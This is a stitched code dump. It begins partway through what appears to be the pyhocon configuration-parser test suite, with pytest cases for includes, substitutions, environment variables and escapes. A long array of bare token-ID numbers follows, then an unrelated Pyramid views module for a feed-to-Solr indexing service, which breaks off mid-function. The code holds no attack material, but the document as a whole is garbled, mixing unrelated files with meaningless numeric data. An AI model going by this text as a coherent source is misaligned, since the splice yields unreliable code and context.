ConfigFactory.parse_string('common_modules [perl]') with pytest.raises(ParseException): ConfigFactory.parse_string('common_modules {} {perl: 1}') with pytest.raises(ParseSyntaxException): ConfigFactory.parse_string( """ a = {f: 5} common_modules ${a} {perl: 1} """) def test_invalid_dict(self): with pytest.raises(ParseSyntaxException): ConfigFactory.parse_string( """ a = { f: 5 g } """) with pytest.raises(ParseSyntaxException): ConfigFactory.parse_string('a = {g}') def test_include_file(self): with tempfile.NamedTemporaryFile('w') as fdin: fdin.write('[1, 2]') fdin.flush() config1 = ConfigFactory.parse_string( """ a: [ include "{tmp_file}" ] """.format(tmp_file=fdin.name) ) assert config1['a'] == [1, 2] config2 = ConfigFactory.parse_string( """ a: [ include file("{tmp_file}") ] """.format(tmp_file=fdin.name) ) assert config2['a'] == [1, 2] config3 = ConfigFactory.parse_string( """ a: [ include url("file://{tmp_file}") ] """.format(tmp_file=fdin.name) ) assert config3['a'] == [1, 2] def test_include_missing_file(self): config1 = ConfigFactory.parse_string( """ a: [ include "dummy.txt" 3 4 ] """ ) assert config1['a'] == [3, 4] def test_include_required_file(self): config = ConfigFactory.parse_string( """ a { include required("samples/animals.d/cat.conf") t = 2 } """ ) expected = { 'a': { 'garfield': { 'say': 'meow' }, 't': 2 } } assert expected == config config2 = ConfigFactory.parse_string( """ a { include required(file("samples/animals.d/cat.conf")) t = 2 } """ ) assert expected == config2 def test_include_missing_required_file(self): with pytest.raises(IOError): ConfigFactory.parse_string( """ a: [ include required("dummy.txt") 3 4 ] """ ) def test_resolve_package_path(self): path = ConfigParser.resolve_package_path("pyhocon:config_parser.py") assert os.path.exists(path) def test_resolve_package_path_format(self): with pytest.raises(ValueError): ConfigParser.resolve_package_path("pyhocon/config_parser.py") def test_resolve_package_path_missing(self): with pytest.raises(ImportError): ConfigParser.resolve_package_path("non_existent_module:foo.py") def test_include_package_file(self, monkeypatch): temp_dir = tempfile.mkdtemp() try: module_dir = os.path.join(temp_dir, 'my_module') module_conf = os.path.join(module_dir, 'my.conf') # create the module folder and necessary files (__init__ and config) os.mkdir(module_dir) open(os.path.join(module_dir, '__init__.py'), 'a').close() with open(module_conf, 'w') as fdin: fdin.write("{c: 3}") # add the temp dir to sys.path so that 'my_module' can be discovered monkeypatch.syspath_prepend(temp_dir) # load the config and include the other config file from 'my_module' config = ConfigFactory.parse_string( """ a: 1 b: 2 include package("my_module:my.conf") """ ) # check that the contents of both config files are available assert dict(config.as_plain_ordered_dict()) == {'a': 1, 'b': 2, 'c': 3} finally: shutil.rmtree(temp_dir, ignore_errors=True) def test_include_dict(self): expected_res = { 'a': 1, 'b': 2, 'c': 3, 'd': 4 } with tempfile.NamedTemporaryFile('w') as fdin: fdin.write('{a: 1, b: 2}') fdin.flush() config1 = ConfigFactory.parse_string( """ a: {{ include "{tmp_file}" c: 3 d: 4 }} """.format(tmp_file=fdin.name) ) assert config1['a'] == expected_res config2 = ConfigFactory.parse_string( """ a: {{ c: 3 d: 4 include "{tmp_file}" }} """.format(tmp_file=fdin.name) ) assert config2['a'] == expected_res config3 = ConfigFactory.parse_string( """ a: {{ c: 3 include "{tmp_file}" d: 4 }} """.format(tmp_file=fdin.name) ) assert config3['a'] == expected_res def test_include_substitution(self): with tempfile.NamedTemporaryFile('w') as fdin: fdin.write('y = ${x}') fdin.flush() config = ConfigFactory.parse_string( """ include "{tmp_file}" x = 42 """.format(tmp_file=fdin.name) ) assert config['x'] == 42 assert config['y'] == 42 @pytest.mark.xfail def test_include_substitution2(self): with tempfile.NamedTemporaryFile('w') as fdin: fdin.write('{ x : 10, y : ${x} }') fdin.flush() config = ConfigFactory.parse_string( """ { a : { include """ + '"' + fdin.name + """" } a : { x : 42 } } """ ) assert config['a']['x'] == 42 assert config['a']['y'] == 42 def test_var_with_include_keyword(self): config = ConfigFactory.parse_string( """ include-database=true """) assert config == { 'include-database': True } def test_substitution_override(self): config = ConfigFactory.parse_string( """ database { host = localhost port = 5432 user = people name = peopledb pass = <PASSWORD> } user=test_user pass=<PASSWORD> database { user = ${user} pass = ${pass} } """) assert config['database.user'] == 'test_user' assert config['database.pass'] == '<PASSWORD>' def test_substitution_flat_override(self): config = ConfigFactory.parse_string( """ database { name = peopledb pass = <PASSWORD> name = ${?NOT_EXISTS} pass = ${?NOT_EXISTS} } """) assert config['database.name'] == 'peopledb' assert config['database.pass'] == '<PASSWORD>' def test_substitution_multiple_override(self): config = ConfigFactory.parse_string( """ a: 1 b: foo c: ${a} ${b} c: ${b} ${a} d: ${a} ${b} d: ${a} bar """) assert config['c'] == 'foo 1' assert config['d'] == '1 bar' def test_substitution_nested_override(self): config = ConfigFactory.parse_string( """ database { name = peopledb pass = <PASSWORD> } database { name = ${?user} pass = ${?pass} } """) assert config['database.name'] == 'peopledb' assert config['database.pass'] == '<PASSWORD>' def test_optional_with_merge(self): unresolved = ConfigFactory.parse_string( """ foo: 42 foo: ${?a} """, resolve=False) source = ConfigFactory.parse_string( """ b: 14 """) config = unresolved.with_fallback(source) assert config['foo'] == 42 config = source.with_fallback(unresolved) assert config['foo'] == 42 def test_fallback_with_resolve(self): config3 = ConfigFactory.parse_string("c=5") config2 = ConfigFactory.parse_string("b=${c}", resolve=False) config1 = ConfigFactory.parse_string("a=${b}", resolve=False) \ .with_fallback(config2, resolve=False) \ .with_fallback(config3) assert {'a': 5, 'b': 5, 'c': 5} == config1 def test_optional_substitution(self): config = ConfigFactory.parse_string( """ a = 45 b = ${?c} d = ${?c} 4 e = ${?a} g = ${?c1} ${?c2} h = ${?c1} ${?c2} 1 """) assert 'b' not in config assert config['d'] == 4 assert config['e'] == 45 assert 'g' not in config assert config['h'] == 1 def test_cascade_optional_substitution(self): config = ConfigFactory.parse_string( """ num = 3 retries_msg = You have ${num} retries retries_msg = ${?CUSTOM_MSG} """) assert config == { 'num': 3, 'retries_msg': 'You have 3 retries' } def test_substitution_cycle(self): with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ a = ${b} b = ${c} c = ${a} """) def test_assign_number_with_eol(self): config = ConfigFactory.parse_string( """ a = 4 b = # test # test2 5 c = 6 """ ) assert config['a'] == 4 assert config['b'] == 5 assert config['c'] == 6 def test_assign_int(self): config = ConfigFactory.parse_string( """ short = 12 long = 12321321837612378126213217321 negative = -15 """ ) # on python 3 long will be an int but on python 2 long with be a long assert config['short'] == 12 assert isinstance(config['short'], int) assert config['long'] == 12321321837612378126213217321 assert isinstance(config['negative'], int) assert config['negative'] == -15 def test_assign_float(self): config = ConfigFactory.parse_string( """ a = 121.22 b = -121.22 c = .54 d = -.54 """ ) # on python 3 long will be an int but on python 2 long with be a long assert config['a'] == 121.22 assert config['b'] == -121.22 assert config['c'] == .54 assert config['d'] == -.54 def test_sci_real(self): """ Test scientific expression of number """ config = ConfigFactory.parse_string( """ short = 12.12321 long1 = 121.22E3423432 neg_long1 = 121.22E-1 long2 = 121.22e3423432 neg_long2 = 121.22e-3 """ ) # on python 3 long will be an int but on python 2 long with be a long assert config['short'] == 12.12321 assert config['long1'] == 121.22E3423432 assert config['neg_long1'] == 121.22E-1 assert config['long2'] == 121.22E3423432 assert config['neg_long2'] == 121.22E-3 def test_assign_strings_with_eol(self): config = ConfigFactory.parse_string( """ a = "a" b = # test # test2 "b" c = "c" """ ) assert config['a'] == 'a' assert config['b'] == 'b' assert config['c'] == 'c' def test_assign_list_numbers_with_eol(self): config = ConfigFactory.parse_string( """ a = [ 1, 2, ] b = # test # test2 [ 3, 4,] c = [ 5, 6 ] """ ) assert config['a'] == [1, 2] assert config['b'] == [3, 4] assert config['c'] == [5, 6] def test_assign_list_strings_with_eol(self): config = ConfigFactory.parse_string( """ a = [ "a", "b", ] b = # test # test2 [ "c", "d",] c = [ "e", "f" ] """ ) assert config['a'] == ['a', 'b'] assert config['b'] == ['c', 'd'] assert config['c'] == ['e', 'f'] def test_assign_dict_strings_with_equal_sign_with_eol(self): config = ConfigFactory.parse_string( """ a = { a: 1, b: 2, } b = # test # test2 { c: 3, d: 4,} c = { e: 5, f: 6 } """ ) assert config['a'] == {'a': 1, 'b': 2} assert config['b'] == {'c': 3, 'd': 4} assert config['c'] == {'e': 5, 'f': 6} def test_assign_dict_strings_no_equal_sign_with_eol(self): config = ConfigFactory.parse_string( """ a { a: 1, b: 2, } b # test # test2 { c: 3, d: 4,} c { e: 5, f: 6 } """ ) assert config['a'] == {'a': 1, 'b': 2} assert config['b'] == {'c': 3, 'd': 4} assert config['c'] == {'e': 5, 'f': 6} def test_substitutions_overwrite(self): config1 = ConfigFactory.parse_string( """ a = 123 a = ${?test} a = 5 """ ) assert config1['a'] == 5 config2 = ConfigFactory.parse_string( """ { database { host = "localhost" port = 8000 url = ${database.host}":"${database.port} } database { host = ${?DB_HOST} } database { host = "other.host.net" port = 433 } } """ ) assert config2['database']['host'] == 'other.host.net' assert config2['database']['port'] == 433 assert config2['database']['url'] == 'other.host.net:433' def test_fallback_substitutions_overwrite(self): config1 = ConfigFactory.parse_string( """ a = { b: 1 c: 2 } """ ) config2 = ConfigFactory.parse_string( """ a.b = 4 a.d = 3 """ ) config3 = config1.with_fallback(config2) assert config3['a'] == { 'b': 1, 'c': 2, 'd': 3 } config4 = ConfigFactory.parse_string( """ name: foo """ ) config5 = ConfigFactory.parse_string( u""" longName: "long "${?name} """, resolve=False ) config6 = config4.with_fallback(config5) assert config6 == { 'longName': 'long foo', 'name': 'foo' } def test_fallback_substitutions_overwrite_file(self): config1 = ConfigFactory.parse_string( """ { data-center-generic = { cluster-size: 8 } misc = "mist" } """ ) # use unicode path here for regression testing https://github.com/chimpler/pyhocon/issues/44 config2 = config1.with_fallback(u'samples/aws.conf') assert config2 == { 'data-center-generic': {'cluster-size': 8}, 'data-center-east': {'cluster-size': 8, 'name': 'east'}, 'misc': 'mist', 'default-jvm-opts': ['-XX:+UseParNewGC'], 'large-jvm-opts': ['-XX:+UseParNewGC', '-Xm16g'] } def test_fallback_self_ref_substitutions_append(self): config1 = ConfigFactory.parse_string( """ list = [ 1, 2, 3 ] """ ) config2 = ConfigFactory.parse_string( """ list = ${list} [ 4, 5, 6 ] """, resolve=False ) config2 = config2.with_fallback(config1) assert config2.get("list") == [1, 2, 3, 4, 5, 6] def test_fallback_self_ref_substitutions_append_plus_equals(self): config1 = ConfigFactory.parse_string( """ list = [ 1, 2, 3 ] """ ) config2 = ConfigFactory.parse_string( """ list += [ 4, 5, 6 ] """, resolve=False ) config2 = config2.with_fallback(config1) assert config2.get("list") == [1, 2, 3, 4, 5, 6] def test_self_merge_ref_substitutions_object(self): config1 = ConfigFactory.parse_string( """ a : { } b : 1 c : ${a} { d : [ ${b} ] } """, resolve=False ) config2 = ConfigFactory.parse_string( """ e : ${a} { } """, resolve=False ) merged = ConfigTree.merge_configs(config1, config2) ConfigParser.resolve_substitutions(merged) assert merged.get("c.d") == [1] def test_self_merge_ref_substitutions_object2(self): config1 = ConfigFactory.parse_string( """ x : { v1: 1 } b1 : {v2: 2 } b = [${b1}] """, resolve=False ) config2 = ConfigFactory.parse_string( """ b2 : ${x} {v2: 3} b += [${b2}] """, resolve=False ) merged = ConfigTree.merge_configs(config1, config2) ConfigParser.resolve_substitutions(merged) b = merged.get("b") assert len(b) == 2 assert b[0] == {'v2': 2} assert b[1] == {'v1': 1, 'v2': 3} def test_self_merge_ref_substitutions_object3(self): config1 = ConfigFactory.parse_string( """ b1 : { v1: 1 } b = [${b1}] """, resolve=False ) config2 = ConfigFactory.parse_string( """ b1 : { v1: 2, v2: 3 } """, resolve=False ) merged = ConfigTree.merge_configs(config1, config2) ConfigParser.resolve_substitutions(merged) assert merged.get("b1") == {"v1": 2, "v2": 3} b = merged.get("b") assert len(b) == 1 assert b[0] == {"v1": 2, "v2": 3} def test_fallback_self_ref_substitutions_merge(self): config1 = ConfigFactory.parse_string( """ dict = { x: 1 } """ ) config2 = ConfigFactory.parse_string( """ dict = ${dict} { y: 2 } """, resolve=False ) config2 = config2.with_fallback(config1) assert config2.get("dict") == {'x': 1, 'y': 2} def test_fallback_self_ref_substitutions_concat_string(self): config1 = ConfigFactory.parse_string( """ string = abc """ ) config2 = ConfigFactory.parse_string( """ string = ${string}def """, resolve=False ) result = config2.with_fallback(config1) assert result.get("string") == 'abcdef' # test no mutation on config1 assert result is not config1 # test no mutation on config2 assert "abc" not in str(config2) def test_fallback_non_root(self): root = ConfigFactory.parse_string( """ a = 1 mid.b = 1 """ ) config = root.get_config("mid").with_fallback(root) assert config['a'] == 1 and config['b'] == 1 def test_object_field_substitution(self): config = ConfigFactory.parse_string( """ A = ${Test} Test { field1 = 1 field2 = ${Test.field1}"2" field3 = ${Test.field2}"3" } """ ) assert config.get_string("A.field1") == "1" assert config.get_string("A.field2") == "12" assert config.get_string("A.field3") == "123" assert config.get_string("Test.field1") == "1" assert config.get_string("Test.field2") == "12" assert config.get_string("Test.field3") == "123" def test_one_line_quote_escape(self): config = ConfigFactory.parse_string( """ test_no_quotes: abc\\n\\n test_quotes: "abc\\n\\n" """ ) assert config == { 'test_no_quotes': 'abc\n\n', 'test_quotes': 'abc\n\n' } def test_multi_line_escape(self): config = ConfigFactory.parse_string( """ with-escaped-backslash: \"\"\" \\\\ \"\"\" with-newline-escape-sequence: \"\"\" \\n \"\"\" with-escaped-newline-escape-sequence: \"\"\" \\\\n \"\"\" """ ) assert config['with-escaped-backslash'] == '\n\\\\\n' assert config['with-newline-escape-sequence'] == '\n\\n\n' assert config['with-escaped-newline-escape-sequence'] == '\n\\\\n\n' def test_multiline_with_backslash(self): config = ConfigFactory.parse_string( """ test = line1 \ line2 test2 = test """) assert config == { 'test': 'line1 line2', 'test2': 'test' } def test_from_dict_with_dict(self): d = { 'banana': 3, 'apple': 4, 'pear': 1, 'orange': 2, } config = ConfigFactory.from_dict(d) assert config == d def test_from_dict_with_ordered_dict(self): d = OrderedDict() d['banana'] = 3 d['apple'] = 4 d['pear'] = 1 d['orange'] = 2 config = ConfigFactory.from_dict(d) assert config == d def test_from_dict_with_nested_dict(self): d = OrderedDict() d['banana'] = 3 d['apple'] = 4 d['pear'] = 1 d['tree'] = { 'a': 'abc\ntest\n', 'b': [1, 2, 3] } config = ConfigFactory.from_dict(d) assert config == d def test_object_concat(self): config = ConfigFactory.parse_string( """o1 = { foo : { a : 1 b : 2 } } o2 = { foo : { b : 3 c : 4 } } o3 = ${o1} ${o2} """ ) assert config.get_int('o1.foo.b') == 2 assert config.get_int('o2.foo.b') == 3 assert config.get_int('o3.foo.b') == 3 assert config.get_int('o1.foo.c', default=42) == 42 assert config.get_int('o3.foo.a') == 1 assert config.get_int('o3.foo.c') == 4 def test_issue_75(self): config = ConfigFactory.parse_string( """base : { bar: ["a"] } sub : ${base} { baz: ${base.bar} ["b"] } sub2: ${sub} """ ) assert config.get_list('base.bar') == ["a"] assert config.get_list('sub.baz') == ["a", "b"] assert config.get_list('sub2.baz') == ["a", "b"] def test_plain_ordered_dict(self): config = ConfigFactory.parse_string( """ e : ${a} { } """, resolve=False ) with pytest.raises(ConfigException): config.as_plain_ordered_dict() def test_quoted_strings_with_ws(self): config = ConfigFactory.parse_string( """ no_trailing_ws = "foo" "bar " trailing_ws = "foo" "bar "{ws} trailing_ws_with_comment = "foo" "bar "{ws}// comment """.format(ws=' ')) assert config == { 'no_trailing_ws': "foo bar ", 'trailing_ws': "foo bar ", 'trailing_ws_with_comment': "foo bar " } def test_unquoted_strings_with_ws(self): config = ConfigFactory.parse_string( """ a = foo bar """) assert config == { 'a': 'foo bar' } def test_quoted_unquoted_strings_with_ws(self): config = ConfigFactory.parse_string( """ a = foo "bar" dummy """) assert config == { 'a': 'foo bar dummy' } def test_quoted_unquoted_strings_with_ws_substitutions(self): config = ConfigFactory.parse_string( """ x = 5 b = test a = foo "bar" ${b} dummy c = foo ${x} bv d = foo ${x} 43 """) assert config == { 'x': 5, 'b': 'test', 'a': 'foo bar test dummy', 'c': 'foo 5 bv', 'd': 'foo 5 43' } def test_complex_substitutions(self): config = ConfigFactory.parse_string( """ a: 1 b: ${c} { pa: [${a}] pb: ${b.pa} } c: { } d: { pc: ${b.pa} } e: ${b} """, resolve=True) assert config == { 'a': 1, 'b': {'pa': [1], 'pb': [1]}, 'c': {}, 'd': {'pc': [1]}, 'e': {'pa': [1], 'pb': [1]} } def test_assign_next_line(self): config = ConfigFactory.parse_string( """ a = // abc abc c = 5 """) assert config == { 'a': 'abc', 'c': 5 } @mock.patch.dict(os.environ, STRING_VAR='value_from_environment') def test_string_from_environment(self): config = ConfigFactory.parse_string( """ string_from_env = ${STRING_VAR} """) assert config == { 'string_from_env': 'value_from_environment' } @mock.patch.dict(os.environ, STRING_VAR='value_from_environment') def test_string_from_environment_self_ref(self): config = ConfigFactory.parse_string( """ STRING_VAR = ${STRING_VAR} """) assert config == { 'STRING_VAR': 'value_from_environment' } @mock.patch.dict(os.environ, STRING_VAR='value_from_environment') def test_string_from_environment_self_ref_optional(self): config = ConfigFactory.parse_string( """ STRING_VAR = ${?STRING_VAR} """) assert config == { 'STRING_VAR': 'value_from_environment' } @mock.patch.dict(os.environ, TRUE_OR_FALSE='false') def test_bool_from_environment(self): config = ConfigFactory.parse_string( """ bool_from_env = ${TRUE_OR_FALSE} """) assert config == { 'bool_from_env': 'false' } assert config.get_bool('bool_from_env') is False @mock.patch.dict(os.environ, INT_VAR='5') def test_int_from_environment(self): config = ConfigFactory.parse_string( """ int_from_env = ${INT_VAR} """) assert config == { 'int_from_env': '5' } assert config.get_int('int_from_env') == 5 def test_unicode_dict_key(self): input_string = u""" www.sample.com { us { name = "first domain" } } www.example-ö.com { us { name = "second domain" } } """ config = ConfigFactory.parse_string(input_string) assert config.get_string(u'www.sample.com.us.name') == 'first domain' assert config.get_string(u'www.example-ö.com.us.name') == 'second domain' with pytest.raises(ConfigWrongTypeException): config.put(u'www.example-ö', 'append_failure', append=True) with pytest.raises(ConfigMissingException): config.get_string(u'missing_unicode_key_ö') with pytest.raises(ConfigException): config.get_bool(u'www.example-ö.com.us.name') with pytest.raises(ConfigException): config.get_list(u'www.example-ö.com.us.name') with pytest.raises(ConfigException): config.get_config(u'www.example-ö.com.us.name') with pytest.raises(ConfigWrongTypeException): config.get_string(u'www.example-ö.com.us.name.missing') def test_with_comment_on_last_line(self): # Adress issue #102 config_tree = ConfigFactory.parse_string(""" foo: "1" bar: "2" # DO NOT CHANGE ANY OF THE ABOVE SETTINGS!""") assert config_tree == { 'foo': '1', 'bar': '2' } def test_triple_quotes_same_line(self): config_tree = ConfigFactory.parse_string('a:["""foo"""", "bar"]') assert config_tree == { 'a': ['foo"', "bar"] } def test_pop(self): config_tree = ConfigFactory.parse_string('a:{b: 3, d: 6}') assert 3 == config_tree.pop('a.b', 5) assert 5 == config_tree.pop('a.c', 5) expected = { 'a': {'d': 6} } assert expected == config_tree def test_merge_overriden(self): # Adress issue #110 # ConfigValues must merge with its .overriden_value # if both are ConfigTree config_tree = ConfigFactory.parse_string(""" foo: ${bar} foo: ${baz} bar: {r: 1, s: 2} baz: {s: 3, t: 4} """) assert 'r' in config_tree['foo'] and 't' in config_tree['foo'] and config_tree['foo']['s'] == 3 def test_attr_syntax(self): config = ConfigFactory.parse_string( """ a: 1 b: { pb: 5 } """) assert 5 == config.b.pb def test_escape_quote(self): config = ConfigFactory.parse_string( """ quoted: "abc\\"test" unquoted: abc\\"test """) assert 'abc"test' == config['quoted'] assert 'abc"test' == config['unquoted'] def test_escape_quote_complex(self): config = ConfigFactory.parse_string( """ value: "{\\"critical\\":\\"0.00\\",\\"warning\\":\\"99.99\\"}" """ ) assert '{"critical":"0.00","warning":"99.99"}' == config['value'] def test_keys_with_slash(self): config = ConfigFactory.parse_string( """ /abc/cde1: abc "/abc/cde2": "cde" /abc/cde3: "fgh" """) assert 'abc' == config['/abc/cde1'] assert 'cde' == config['/abc/cde2'] assert 'fgh' == config['/abc/cde3'] def test_mutation_values(self): config = ConfigFactory.parse_string( """ common : { } b1 = [] var = "wrong" compilerCommon : ${common} { VAR : ${var} } substrate-suite: { VAR : "right" } b1 = [ ${compilerCommon} ${substrate-suite} ${compilerCommon} ${substrate-suite} ] b2 = [ ${compilerCommon} ${substrate-suite} ${compilerCommon} ${substrate-suite} ] """) assert config.get("b1")[1]['VAR'] == 'right' assert config.get("b2")[1]['VAR'] == 'right' def test_escape_sequences_json_equivalence(self): """ Quoted strings are in the same format as JSON strings, See: https://github.com/lightbend/config/blob/master/HOCON.md#unchanged-from-json """ source = r""" { "plain-backslash": "\\", "tab": "\t", "no-tab": "\\t", "newline": "\n", "no-newline": "\\n", "cr": "\r", "no-cr": "\\r", "windows": "c:\\temp" } """ expected = { 'plain-backslash': '\\', 'tab': '\t', 'no-tab': '\\t', 'newline': '\n', 'no-newline': '\\n', 'cr': '\r', 'no-cr': '\\r', 'windows': 'c:\\temp', } config = ConfigFactory.parse_string(source) assert config == expected assert config == json.loads(source) try: from dateutil.relativedelta import relativedelta @pytest.mark.parametrize('data_set', [ ('a: 1 months', relativedelta(months=1)), ('a: 1months', relativedelta(months=1)), ('a: 2 month', relativedelta(months=2)), ('a: 3 mo', relativedelta(months=3)), ('a: 3mo', relativedelta(months=3)), ('a: 3 mon', '3 mon'), ('a: 1 years', relativedelta(years=1)), ('a: 1years', relativedelta(years=1)), ('a: 2 year', relativedelta(years=2)), ('a: 3 y', relativedelta(years=3)), ('a: 3y', relativedelta(years=3)), ]) def test_parse_string_with_duration_optional_units(data_set): config = ConfigFactory.parse_string(data_set[0]) assert config['a'] == data_set[1] except Exception: pass	[ 1, 396, 448, 29930, 29899, 8025, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13, 5215, 4390, 13, 5215, 2897, 13, 5215, 528, 4422, 13, 5215, 5694, 1445, 13, 3166, 16250, 1053, 8170, 287, 21533, 13, 3166, 12865, 1053, 5335, 287, 2554, 13, 13, 3166, 11451, 862, 2976, 1053, 20969, 5160, 2451, 29892, 20969, 2451, 29892, 20969, 16676, 2451, 13, 5215, 11187, 13, 5215, 11451, 1688, 13, 3166, 11451, 1251, 535, 1053, 313, 3991, 5126, 29892, 12782, 11726, 29892, 12782, 4035, 303, 5008, 2451, 29892, 12782, 9643, 29897, 13, 3166, 11451, 1251, 535, 29889, 11739, 29879, 1053, 313, 3991, 2451, 29892, 12782, 18552, 292, 2451, 29892, 13, 462, 18884, 12782, 29956, 29373, 1542, 2451, 29897, 13, 13, 2202, 29901, 13, 1678, 515, 2635, 4422, 29889, 2674, 1926, 287, 2554, 1053, 14215, 287, 2554, 408, 3785, 13, 19499, 8960, 29901, 13, 1678, 515, 12865, 1053, 5335, 287, 2554, 408, 3785, 13, 13, 13, 1990, 4321, 3991, 11726, 29898, 3318, 1125, 13, 1678, 822, 1243, 29918, 5510, 29918, 12857, 29918, 1767, 29898, 1311, 1125, 13, 4706, 2295, 353, 12782, 5126, 29889, 5510, 29918, 1807, 29898, 13, 9651, 9995, 29873, 353, 426, 13, 18884, 274, 353, 29871, 29945, 13, 18884, 376, 29881, 29908, 353, 1565, 13, 18884, 321, 29889, 29891, 353, 426, 13, 462, 1678, 285, 29901, 29871, 29955, 13, 462, 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pushhubsearch/views.py	ucla/PushHubSearch	0	125395	<reponame>ucla/PushHubSearch """ Copyright (c) 2013, Regents of the University of California All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the University of California nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ import copy import feedparser from pyramid.httpexceptions import HTTPOk from pyramid.httpexceptions import HTTPBadRequest from pyramid.response import Response from pyramid.url import route_url from .models import SharedItem from .feedgen import Atom1Feed from .utils import normalize_uid from .utils import remove_deleted_status import logging logger = logging.getLogger(__name__) # NOTE: the hub only supports atom at the moment ALLOWED_CONTENT = ( 'application/atom+xml', 'application/rss+xml', ) class UpdateItems(object): """Create a new SharedItem or update it if it already exists. This will find all the entries, then create / update them. Then do a batch index to Solr. """ def __init__(self, context, request): self.context = context self.request = request self.create_count = 0 self.update_count = 0 self.messages = [] self.to_index = [] solr_uri = request.registry.settings.get('push.solr_uri', None) if solr_uri is None: raise AttributeError(u'A push.solr_uri is required') # XXX: We are importing solr here to be able to mock it in the tests from mysolr import Solr self.solr = Solr(solr_uri) self.shared = context.shared def __call__(self): # If the request isn't an RSS feed, bail out if self.request.content_type not in ALLOWED_CONTENT: body_msg = ( "The content-type of the request must be one of the " "following: %s" ) % ", ".join(ALLOWED_CONTENT) return HTTPBadRequest(body=body_msg) # Create / update self._process_items() # Index in Solr self._update_index() # Return a 200 with details on what happened in the body self.messages.append("%s items created." % self.create_count) self.messages.append("%s items updated." % self.update_count) return HTTPOk(body=" ".join(self.messages)) def _process_items(self): """Get a list of new items to create and existing items that need to be updated. """ shared_content = feedparser.parse(self.request.body) for item in shared_content.entries: uid = item['id'] # Get the uid, minus the urn:syndication bit item['uid'] = uid = normalize_uid(uid) logger.info('Processing item %s' % uid) item['link'] = item.link item['feed_link'] = shared_content.feed.link if uid in self.shared: self._update_item(item) else: self._create_item(item) def _create_item(self, entry): """Create new items in the feed """ new_item = SharedItem() uid = entry['uid'] logger.info('Creating item %s' % uid) new_item.update_from_entry(entry) # XXX: Should name and parent be necessary here? Shouldn't # the `add` method do that for us? new_item.__name__ = uid new_item.__parent__ = self.shared self.shared.add(uid, new_item) self.to_index.append(self.shared[uid]) self.create_count += 1 def _update_item(self, entry): """Update existing items in the db using their UID """ uid = entry['uid'] logger.info('Updating item %s' % uid) obj = self.shared[uid] # XXX: these aren't coming from the object. Why is that? Is # the `add` method on the folder not setting them? obj.__name__ = uid obj.__parent__ = self.shared selected_or_shared = ( 'selected' in entry['feed_link'] or 'shared' in entry['feed_link'] ) if selected_or_shared and hasattr(obj, 'deletion_type'): remove_deleted_status(uid, self.shared, self.solr) obj.update_from_entry(entry) self.to_index.append(obj) self.update_count += 1 def _update_index(self): """Clean up the item dictionaries to contain only items that are valid and send them over to Solr for indexing. NOTE: Solr may error out on index if it receives a field it is not aware of. We should change this code to look up the Solr schema, and remove attributes that it doesn't know, like __name__ and __parent__ below. """ logger.debug('Updating index for %s objects' % len(self.to_index)) cleaned = [] ignored_attrs = [ '__name__', '__parent__', 'deletion_type', ] for item in self.to_index: item_dict = copy.deepcopy(item.__dict__) if 'Modified' in item_dict: if hasattr(item_dict['Modified'], 'isoformat'): mod_date = item_dict['Modified'].isoformat() else: mod_date = item_dict['Modified'] # Make sure the date is acceptable to Solr, strip off # the +00:00 and replace it with a Z item_dict['Modified'] = "%sZ" % mod_date[:-6] if 'content' in item_dict: items = [item['value'] for item in item_dict['content']] if items: # XXX: use first content item, discard the rest item_dict['content'] = items[0] item_dict['uid'] = item_dict['__name__'] # XXX: Need to look up the schema, then modify the dict # based on that. for attr in ignored_attrs: item_dict.pop(attr, '') cleaned.append(item_dict) # XXX: Need to handle Solr errors here response = self.solr.update(cleaned) return response def update_deletions(context, request): """Receive a UID from the request vars and remove the associated object from the deleted feed. """ uid = request.POST.get('uid') if not uid: return solr_uri = request.registry.settings.get('push.solr_uri', None) if solr_uri is None: raise AttributeError(u'A push.solr_uri is required') from mysolr import Solr solr = Solr(solr_uri) logger.debug('Remove deleted status') remove_deleted_status(uid, context.shared, solr) return HTTPOk(body="Item no longer marked as deleted") def delete_items(context, request): """Delete the given items from the index """ # If the request isn't an RSS feed, bail out if request.content_type not in ALLOWED_CONTENT: body_msg = ( "The content-type of the request must be one of the " "following: %s" ) % ", ".join(ALLOWED_CONTENT) return HTTPBadRequest(body=body_msg) solr_uri = request.registry.settings.get('push.solr_uri', None) if solr_uri is None: raise AttributeError(u'A push.solr_uri is required') # XXX: We are importing solr here to be able to mock it in the tests from mysolr import Solr solr = Solr(solr_uri) shared_content = feedparser.parse(request.body) missing = [] removed = 0 for item in shared_content.entries: uid = item['id'] uid = normalize_uid(uid) logger.debug('Deleting %s' % uid) if uid not in context.shared: missing.append(uid) solr.delete_by_key(uid) continue del context.shared[uid] solr.delete_by_key(uid) removed += 1 body_msg = "Removed %s items." % removed if missing: msg_str = " %s items could not be found for deletion: %s" args = (len(missing), ', '.join(missing)) msg = msg_str % args logger.warn(msg) body_msg += msg return HTTPOk(body=body_msg) def combine_entries(container, feed_name): """Combines all feeds of a given type (e.g. Shared, Selected) """ logger.debug('Combining entries for %s' % feed_name) if feed_name == 'deleted': results = [entry for entry in container.values() if feed_name in entry.feed_type] else: results = [] for entry in container.values(): feed_type = entry.feed_type feed_match = feed_name in feed_type feature_del = ( 'deleted' in 